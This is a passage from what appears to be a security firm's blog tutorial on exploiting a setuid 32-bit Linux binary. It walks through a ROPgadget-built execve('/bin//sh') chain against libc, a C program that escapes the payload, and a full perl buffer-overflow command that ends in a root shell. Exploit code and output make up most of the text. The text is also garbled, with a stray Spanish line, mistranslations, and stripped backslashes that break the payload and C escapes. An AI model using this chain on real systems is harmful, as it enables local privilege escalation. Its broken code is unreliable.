0xf7fd6c30
Hacemos la prueba y mediante strace vemos el setuid32(0). Perfecto.
Now with python2.7 ROPgadget/ROPgadget.py --binary vuln --badbytes 00 --ropchain we try to generate a ropchain for execve (), however, it is not capable. Let’s try for some bookstore:
python2.7 ROPgadget/ROPgadget.py --binary /usr/lib32/libc.so.6 --badbytes 00 --ropchain --offset 0xf7dc4000
Generates the following code
`#!/usr/bin/env python2

execve generated by ROPgadget`

from struct import pack

# Padding goes here
p = ”

p += pack(‘<I’, 0xf7ddf52c) # pop esi ; ret
p += pack(‘<I’, 0xf7f9b004) # @ .data
p += pack(‘<I’, 0xf7dc5aae) # pop edx ; ret
p += ‘/bin’
p += pack(‘<I’, 0xf7e4a686) # mov dword ptr [esi], edx ; pop ebx ; pop esi ; ret
p += pack(‘<I’, 0x41414141) # padding
p += pack(‘<I’, 0x41414141) # padding
p += pack(‘<I’, 0xf7ddf52c) # pop esi ; ret
p += pack(‘<I’, 0xf7f9b008) # @ .data + 4
p += pack(‘<I’, 0xf7dc5aae) # pop edx ; ret
p += ‘//sh’
p += pack(‘<I’, 0xf7e4a686) # mov dword ptr [esi], edx ; pop ebx ; pop esi ; ret
p += pack(‘<I’, 0x41414141) # padding
p += pack(‘<I’, 0x41414141) # padding
p += pack(‘<I’, 0xf7ddf52c) # pop esi ; ret
p += pack(‘<I’, 0xf7f9b00c) # @ .data + 8
p += pack(‘<I’, 0xf7df804e) # xor edx, edx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
p += pack(‘<I’, 0x41414141) # padding
p += pack(‘<I’, 0x41414141) # padding
p += pack(‘<I’, 0x41414141) # padding
p += pack(‘<I’, 0x41414141) # padding
p += pack(‘<I’, 0xf7e4a686) # mov dword ptr [esi], edx ; pop ebx ; pop esi ; ret
p += pack(‘<I’, 0x41414141) # padding
p += pack(‘<I’, 0x41414141) # padding
p += pack(‘<I’, 0xf7dddeb5) # pop ebx ; ret
p += pack(‘<I’, 0xf7f9b004) # @ .data
p += pack(‘<I’, 0xf7e01e03) # pop ecx ; ret
p += pack(‘<I’, 0xf7f9b00c) # @ .data + 8
p += pack(‘<I’, 0xf7dc5aae) # pop edx ; ret
p += pack(‘<I’, 0xf7f9b00c) # @ .data + 8
p += pack(‘<I’, 0xf7df321f) # xor eax, eax ; ret
p += pack(‘<I’, 0xf7dcf5ec) # inc eax ; ret
p += pack(‘<I’, 0xf7dcf5ec) # inc eax ; ret
p += pack(‘<I’, 0xf7dcf5ec) # inc eax ; ret
p += pack(‘<I’, 0xf7dcf5ec) # inc eax ; ret
p += pack(‘<I’, 0xf7dcf5ec) # inc eax ; ret
p += pack(‘<I’, 0xf7dcf5ec) # inc eax ; ret
p += pack(‘<I’, 0xf7dcf5ec) # inc eax ; ret
p += pack(‘<I’, 0xf7dcf5ec) # inc eax ; ret
p += pack(‘<I’, 0xf7dcf5ec) # inc eax ; ret
p += pack(‘<I’, 0xf7dcf5ec) # inc eax ; ret
p += pack(‘<I’, 0xf7dcf5ec) # inc eax ; ret
p += pack(‘<I’, 0xf7dc6d37) # int 0x80
At the end I add a print p and redirect the output to a.txt.
I write a program in C

#include <stdio.h>
#include <ctype.h>
#include <stdlib.h>

void panic(char* s)
{
perror(s);
exit(-1);
}

int main(int argc, char** argv)
{
unsigned char c;
FILE* f;

if(argc < 2) return 1;

f = fopen(argv[1], “rb”);
if(!f) panic(“Error at fopen()”);
while(1)
{
c = fgetc(f);
if(feof(f)) break;
if(isalnum(c)) putchar(c);
else
printf(“\x%02x”, c);
}
putchar(‘n’);
return 0;
}

I run on a.txt and get hexadecimal values ​​payload appropriately to inject in the same manner as has been done. And in the future we will exploit in python, when the complexity of the required change.

In the ROP generated addresses and .data .data + xx, since that is intended for the .data of libc.so.6, so the we changed by the .data binary: 0x0804a018 and successive.

We have another problem, and that is that ROPgadget has made a mistake when creating that ROP, since in the second pop esi it picks up .data + 8, and then runs the gadget xor edx, edx ; pop...;ret. The problem is that this last gadget contains an pop esithat picks up a 0x41414141 placed there for filling (the pop’s between the xor edx,edx and the ret have to pick up something harmless, if they won’t load the string of stringing, that’s why it’s necessary place padding), then, the esi refers to -supposedly- .data + 8 in the gadget mov [esi], edx, which (containing the esi actually a 0x41414141) supposes a segment violation. It can be arranged by placing in the second 0x41414141 after the gadget xor edx,edx the address of .data + 8.

At last we are ready to exploit true:
$ /home/arget/vuln "`perl -e 'print "A"x140 . "xeex86x04x08"x4 . ("xaax84x04x08"x2 . "xeex86x04x08")x3 . "xaax84x04x08"x8 . "x1fx32xdfxf7" . "x37x83x04x08" . "x30x6cxfdxf7" . "x2cxf5xddxf7" . "x18xa0x04x08" . "xaeZxdcxf7" . "/bin" . "x86xa6xe4xf7" . "AAAA" . "AAAA" . "x2cxf5xddxf7" . "x1cxa0x04x08" . "xaeZxdcxf7" . "//sh" . "x86xa6xe4xf7" . "AAAA" . "AAAA" . "x2cxf5xddxf7" . "x20xa0x04x08" . "Nx80xdfxf7" . "AAAA" . "x20xa0x04x08" . "AAAA" . "AAAA" . "x86xa6xe4xf7" . "AAAA" . "AAAA" . "xb5xdexddxf7" . "x18xa0x04x08" . "x03x1exe0xf7" . "x20xa0x04x08" . "xaeZxdcxf7" . "x20xa0x04x08" . "x1f2xdfxf7" . "xecxf5xdcxf7" . "xecxf5xdcxf7" . "xecxf5xdcxf7" . "xecxf5xdcxf7" . "xecxf5xdcxf7" . "xecxf5xdcxf7" . "xecxf5xdcxf7" . "xecxf5xdcxf7" . "xecxf5xdcxf7" . "xecxf5xdcxf7" . "xecxf5xdcxf7" . "7mxdcxf7"'`" AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA������������������������������������������ 2��7�0l��,��� ��Z��/bin����AAAAAAAA,��� ��Z��//sh����AAAAAAAA,��� �N���AAAA �AAAAAAAA����AAAAAAAA���� � �� ��Z�� � 2����������������������������������������������7m�� [root@plata arget]# whoami root [root@plata arget]#

At Puffin Security, we use the ELITE SECURITY CONSULTING methodology so you can rest assured that your organization will have the highest level of security.

Complete the form, and we’ll be in touch as soon as possible

Lets Audit Button